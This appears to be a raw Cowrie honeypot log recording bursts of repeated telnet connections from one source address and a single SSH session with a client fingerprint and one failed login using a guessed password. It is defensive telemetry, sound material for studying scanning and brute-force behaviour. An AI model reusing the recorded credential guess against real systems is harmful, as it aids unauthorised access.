{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42610,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed1f04c39ab9","protocol":"telnet","message":"New connection: 204.10.38.242:42610 (159.203.135.109:23) [session: ed1f04c39ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:32.345529Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d43686d948","protocol":"telnet","message":"New connection: 204.10.38.242:44032 (159.203.135.109:23) [session: 50d43686d948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:32.582956Z"}
{"eventid":"cowrie.session.closed","duration":30.183448791503906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:33.062452Z","src_ip":"204.10.38.242","session":"b17154ee579f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47340,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e48cfe3efd","protocol":"telnet","message":"New connection: 204.10.38.242:47340 (159.203.135.109:23) [session: 32e48cfe3efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:33.378715Z"}
{"eventid":"cowrie.session.closed","duration":31.28954839706421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:33.928773Z","src_ip":"204.10.38.242","session":"5913ddb495c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.24947762489319,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:35.062195Z","src_ip":"204.10.38.242","session":"cc8d4dd50478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24985384941101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:35.330814Z","src_ip":"204.10.38.242","session":"d09726dfb866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.625324010849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:35.915885Z","src_ip":"204.10.38.242","session":"96751430118f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83237934112549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:36.286897Z","src_ip":"204.10.38.242","session":"dbbe851a151c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37112,"dst_ip":"159.203.135.109","dst_port":23,"session":"09acfa15a5c4","protocol":"telnet","message":"New connection: 204.10.38.242:37112 (159.203.135.109:23) [session: 09acfa15a5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:37.005689Z"}
{"eventid":"cowrie.session.closed","duration":30.686930656433105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:37.114401Z","src_ip":"204.10.38.242","session":"75622f22193b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139230012893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:37.139859Z","src_ip":"204.10.38.242","session":"20566c756e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59671187400818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:37.207520Z","src_ip":"204.10.38.242","session":"c087fdedac80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81078290939331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:38.203244Z","src_ip":"204.10.38.242","session":"4a04f111c018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.079912424087524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:38.464047Z","src_ip":"204.10.38.242","session":"2190550ef42e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838189840316772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:38.505643Z","src_ip":"204.10.38.242","session":"305459d7d6bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19254469871521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:39.054431Z","src_ip":"204.10.38.242","session":"d862baedcc02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65859842300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:39.081633Z","src_ip":"204.10.38.242","session":"316a4e058dfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49540,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6a89deca5b7","protocol":"telnet","message":"New connection: 204.10.38.242:49540 (159.203.135.109:23) [session: b6a89deca5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:39.723933Z"}
{"eventid":"cowrie.session.closed","duration":31.210486888885498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:40.200439Z","src_ip":"204.10.38.242","session":"e393c7eab68e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52628,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc49034b9cc","protocol":"telnet","message":"New connection: 204.10.38.242:52628 (159.203.135.109:23) [session: cfc49034b9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:40.454290Z"}
{"eventid":"cowrie.session.closed","duration":30.47388505935669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:41.176101Z","src_ip":"204.10.38.242","session":"36c162573fce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56196,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2f7bdb825d","protocol":"telnet","message":"New connection: 204.10.38.242:56196 (159.203.135.109:23) [session: bc2f7bdb825d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:41.298791Z"}
{"eventid":"cowrie.session.closed","duration":31.20497441291809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:41.438744Z","src_ip":"204.10.38.242","session":"e2ad56fc71e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99109697341919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:42.408074Z","src_ip":"204.10.38.242","session":"c80f50090e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40540,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff666829e6e","protocol":"telnet","message":"New connection: 204.10.38.242:40540 (159.203.135.109:23) [session: 7ff666829e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:43.785531Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41464,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1288830fcb0","protocol":"telnet","message":"New connection: 204.10.38.242:41464 (159.203.135.109:23) [session: e1288830fcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:44.019316Z"}
{"eventid":"cowrie.session.closed","duration":30.73164677619934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:44.134579Z","src_ip":"204.10.38.242","session":"592e5802fad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085814714431763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:44.300127Z","src_ip":"204.10.38.242","session":"ae20e74042c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43654,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dc68d3b26df","protocol":"telnet","message":"New connection: 204.10.38.242:43654 (159.203.135.109:23) [session: 6dc68d3b26df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:44.486893Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43968,"dst_ip":"159.203.135.109","dst_port":23,"session":"e293ff86a76a","protocol":"telnet","message":"New connection: 204.10.38.242:43968 (159.203.135.109:23) [session: e293ff86a76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:44.544535Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33866,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ab46a0c035","protocol":"ssh","message":"New connection: 159.203.92.129:33866 (159.203.135.109:22) [session: b9ab46a0c035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:45.464814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:45.469230Z","src_ip":"159.203.92.129","session":"b9ab46a0c035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:45.473991Z","src_ip":"159.203.92.129","session":"b9ab46a0c035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin123!@#","message":"login attempt [ansible/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:45.484643Z","src_ip":"159.203.92.129","session":"b9ab46a0c035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44738,"dst_ip":"159.203.135.109","dst_port":23,"session":"8494c79b7c75","protocol":"telnet","message":"New connection: 204.10.38.242:44738 (159.203.135.109:23) [session: 8494c79b7c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:45.780769Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50490,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd4e8aa7536b","protocol":"telnet","message":"New connection: 204.10.38.242:50490 (159.203.135.109:23) [session: bd4e8aa7536b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:45.930153Z"}
{"eventid":"cowrie.session.closed","duration":31.6054630279541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.022260Z","src_ip":"204.10.38.242","session":"783e3b401256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.549968481063843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.043327Z","src_ip":"204.10.38.242","session":"9f9b27c42c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51480,"dst_ip":"159.203.135.109","dst_port":23,"session":"5413d41dd13e","protocol":"telnet","message":"New connection: 204.10.38.242:51480 (159.203.135.109:23) [session: 5413d41dd13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.191801Z"}
{"eventid":"cowrie.session.closed","duration":30.913689136505127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.231340Z","src_ip":"204.10.38.242","session":"f8e8e1cfc53b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52386,"dst_ip":"159.203.135.109","dst_port":23,"session":"324fe472c3cd","protocol":"telnet","message":"New connection: 204.10.38.242:52386 (159.203.135.109:23) [session: 324fe472c3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.360053Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52992,"dst_ip":"159.203.135.109","dst_port":23,"session":"1670f8b43f49","protocol":"telnet","message":"New connection: 204.10.38.242:52992 (159.203.135.109:23) [session: 1670f8b43f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.427816Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:46.489731Z","src_ip":"159.203.92.129","session":"b9ab46a0c035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.471274852752686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.037702Z","src_ip":"204.10.38.242","session":"c1557f8172a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416371822357178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.041446Z","src_ip":"204.10.38.242","session":"1b9f73d9dc96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46001696586609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.178967Z","src_ip":"204.10.38.242","session":"37ed169ed8ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57224,"dst_ip":"159.203.135.109","dst_port":23,"session":"893d9316e32f","protocol":"telnet","message":"New connection: 204.10.38.242:57224 (159.203.135.109:23) [session: 893d9316e32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.296486Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57354,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c7c4ade3c46","protocol":"telnet","message":"New connection: 204.10.38.242:57354 (159.203.135.109:23) [session: 4c7c4ade3c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.312009Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7b574745fe2","protocol":"telnet","message":"New connection: 204.10.38.242:58624 (159.203.135.109:23) [session: f7b574745fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.471242Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59234,"dst_ip":"159.203.135.109","dst_port":23,"session":"d785f309f89c","protocol":"telnet","message":"New connection: 204.10.38.242:59234 (159.203.135.109:23) [session: d785f309f89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.577114Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60292,"dst_ip":"159.203.135.109","dst_port":23,"session":"43026678509c","protocol":"telnet","message":"New connection: 204.10.38.242:60292 (159.203.135.109:23) [session: 43026678509c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.771715Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60936,"dst_ip":"159.203.135.109","dst_port":23,"session":"2edce3527bf9","protocol":"telnet","message":"New connection: 204.10.38.242:60936 (159.203.135.109:23) [session: 2edce3527bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:47.898753Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33204,"dst_ip":"159.203.135.109","dst_port":23,"session":"2477d4c8cb0b","protocol":"telnet","message":"New connection: 204.10.38.242:33204 (159.203.135.109:23) [session: 2477d4c8cb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:48.038710Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33400,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48c8eea2100","protocol":"telnet","message":"New connection: 204.10.38.242:33400 (159.203.135.109:23) [session: a48c8eea2100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:48.095004Z"}
{"eventid":"cowrie.session.closed","duration":35.817373275756836,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:48.159231Z","src_ip":"204.10.38.242","session":"65c907baebc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2331964969635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:48.565221Z","src_ip":"204.10.38.242","session":"75a8a36e7e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38112,"dst_ip":"159.203.135.109","dst_port":23,"session":"51edd24518fd","protocol":"telnet","message":"New connection: 204.10.38.242:38112 (159.203.135.109:23) [session: 51edd24518fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.039370Z"}
{"eventid":"cowrie.session.closed","duration":30.811923027038574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.071717Z","src_ip":"204.10.38.242","session":"126d9a702b16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51036,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafd8265dcbe","protocol":"telnet","message":"New connection: 204.10.38.242:51036 (159.203.135.109:23) [session: fafd8265dcbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.078361Z"}
{"eventid":"cowrie.session.closed","duration":30.796675205230713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.082694Z","src_ip":"204.10.38.242","session":"011105be4893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38984,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac4867b39ef2","protocol":"telnet","message":"New connection: 204.10.38.242:38984 (159.203.135.109:23) [session: ac4867b39ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.284270Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40342,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1ddbc1fab4","protocol":"telnet","message":"New connection: 204.10.38.242:40342 (159.203.135.109:23) [session: ab1ddbc1fab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.435134Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef55e2786445","protocol":"telnet","message":"New connection: 204.10.38.242:42328 (159.203.135.109:23) [session: ef55e2786445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.793129Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42976,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ef1f9cf001","protocol":"telnet","message":"New connection: 204.10.38.242:42976 (159.203.135.109:23) [session: 12ef1f9cf001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:49.932168Z"}
{"eventid":"cowrie.session.closed","duration":31.272690773010254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:50.233015Z","src_ip":"204.10.38.242","session":"4f1c6923aa6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46060,"dst_ip":"159.203.135.109","dst_port":23,"session":"21696eeb941f","protocol":"telnet","message":"New connection: 204.10.38.242:46060 (159.203.135.109:23) [session: 21696eeb941f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:50.546085Z"}
{"eventid":"cowrie.session.closed","duration":31.24311923980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:50.675138Z","src_ip":"204.10.38.242","session":"87f0a9028f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48002,"dst_ip":"159.203.135.109","dst_port":23,"session":"505d9e62e66a","protocol":"telnet","message":"New connection: 204.10.38.242:48002 (159.203.135.109:23) [session: 505d9e62e66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:50.976017Z"}
{"eventid":"cowrie.session.closed","duration":30.591846704483032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.103069Z","src_ip":"204.10.38.242","session":"8bb34a88a381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988140106201172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.190045Z","src_ip":"204.10.38.242","session":"993b0868eb6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.75114297866821,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.193968Z","src_ip":"204.10.38.242","session":"caecfc20e48f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77387547492981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.391583Z","src_ip":"204.10.38.242","session":"7094d6490912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35336,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6bff61b4865","protocol":"telnet","message":"New connection: 204.10.38.242:35336 (159.203.135.109:23) [session: e6bff61b4865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.436781Z"}
{"eventid":"cowrie.session.closed","duration":30.68520736694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.582113Z","src_ip":"204.10.38.242","session":"fb70c1b8e826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6844162940979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.688391Z","src_ip":"204.10.38.242","session":"405151a94c26","protocol":"telnet"}
